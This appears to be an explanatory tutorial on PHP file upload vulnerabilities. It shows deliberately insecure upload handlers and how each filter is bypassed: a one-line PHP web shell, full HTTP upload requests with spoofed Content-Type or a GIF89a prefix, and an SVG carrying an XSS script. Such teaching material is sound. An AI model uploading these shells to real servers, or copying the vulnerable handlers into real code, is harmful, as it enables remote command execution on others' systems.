File Upload Vulnerabilities

Many web applications contain the ability to upload files. This could be used to set profile pictures or for uploading data. If these requests are not carefully filtered, it may lead to exploitation of the web server.

To start, let’s create some HTML for a file upload. This just provides a user with a way of selecting a file to be forwarded to a PHP script for processing.

<!DOCTYPE html>
<html>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
  Select file to upload:
  <input type="file" name="fileToUpload" id="fileToUpload">
  <input type="submit" value="Upload File" name="submit">
</form>
</body>
</html>                                                                            

Unrestricted Uploads

In our first iteration of the code, no security checks are being performed on the file.

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

if(isset($_POST["submit"])) {

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
    echo "The file ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])). " has been uploaded.";
  } else {
    echo "Error uploading file";
  }

}
?>

An attacker can upload a PHP shell to the target server, and provided the uploads directory is set to execute PHP code, execute commands on the server.

<?php system($_REQUEST['cmd']); ?>

File Extension Checks

A developer may attempt to filter the types of upload by looking at the file extension. In this example, the .php extension is blocked.

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$securityCheck = 0;

if(isset($_POST["submit"])) {

# File extension check
$filename =  $_FILES["fileToUpload"]["name"];
$file_extension = pathinfo($filename, PATHINFO_EXTENSION);

if ($file_extension == "php")
{
echo "Security violation!";
$securityCheck = 1;
}

if ($securityCheck == 0) {

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
         echo "The file ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])). " has been uploaded.";
  } else {
         echo "Error uploading file";
  }
}

}

?>

The problem with this approach is there are multiple different PHP file extensions that can still be uploaded, such as .php5 or .phar.

A list of file extension can be found in seclists. Using Burp Intruder, the upload request can be repeated multiple times with different extensions to identify which ones work. Bear in mind this might result in a lot of files being uploaded to the web server!

Content Type Checks

A developer may attempt to check the Content-Type value on a form upload to determine if the file type is allowed;

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$securityCheck = 0;

if(isset($_POST["submit"])) {

  if ($_FILES['fileToUpload']['type'] != "image/jpeg")
  {
      echo "Security violation!";
      $securityCheck = 1;
  }

if ($securityCheck == 0) {

  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
         echo "The file ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])). " has been uploaded.";
  } else {
         echo "Error uploading file";
  }
}

}

?>

Since this value is supplied by the client, we can change the value in a HTTP request from “application/x-php” to “image/jpeg” to bypass the check.

POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------98426856913998851391636209732
Content-Length: 384
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/
Upgrade-Insecure-Requests: 1

-----------------------------98426856913998851391636209732
Content-Disposition: form-data; name="fileToUpload"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_REQUEST['cmd']); ?>

-----------------------------98426856913998851391636209732
Content-Disposition: form-data; name="submit"

Upload File
-----------------------------98426856913998851391636209732--

A list of valid content types is also found in seclists, which can be used to determine which content type values are allowed.

Mime Type Checks

A developer may attempt to check the MIME type of files uploaded.

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$securityCheck = 0;

if(isset($_POST["submit"])) {

  $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
  if ($check == false)
  {
     echo "Not an image file!";
     $securityCheck = 1;
  }
  else {
     if ($check["mime"] != "image/gif")
     {
        echo "Incorrect file type!";
        $securityCheck = 1;
     }
   }

if ($securityCheck == 0) {

  if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
         echo "The file ". htmlspecialchars( basename( $_FILES["fileToUpload"]["name"])). " has been uploaded.";
  } else {
         echo "Error uploading file";
  }
}

}

?>

Uploading an image file, and embedding PHP would still allow the PHP code to execute. This is particularly simple with GIF files, since the header value is an ASCII printable value;

┌──(kali㉿kali)-[~]
└─$ echo GIF89a > gif_test
                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ file gif_test   
gif_test: GIF image data, version 89a,

Ensuring the uploaded content includes GIF89a will result in the mime type check being bypassed;

POST /upload.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/
Content-Type: multipart/form-data; boundary=---------------------------27489750683354884522051280254
Content-Length: 2017
Origin: http://127.0.0.1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------27489750683354884522051280254
Content-Disposition: form-data; name="fileToUpload"; filename="test.php"
Content-Type: image/gif

GIF89a<?php system($_REQUEST['cmd']); ?>
-----------------------------27489750683354884522051280254
Content-Disposition: form-data; name="submit"

Upload File
-----------------------------27489750683354884522051280254--

File Format Specific Issues

Certain file types can be used to conduct further attacks. For instance, SVG images are composed of XML data. If the image data is processed on the server side this could lead to XML External Entity Injection. Alternativly, they can be used to embed Javascript code to perform Cross Site Scripting attacks;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1"  />
    <script type="text/javascript">alert("XSS!");</script>
</svg>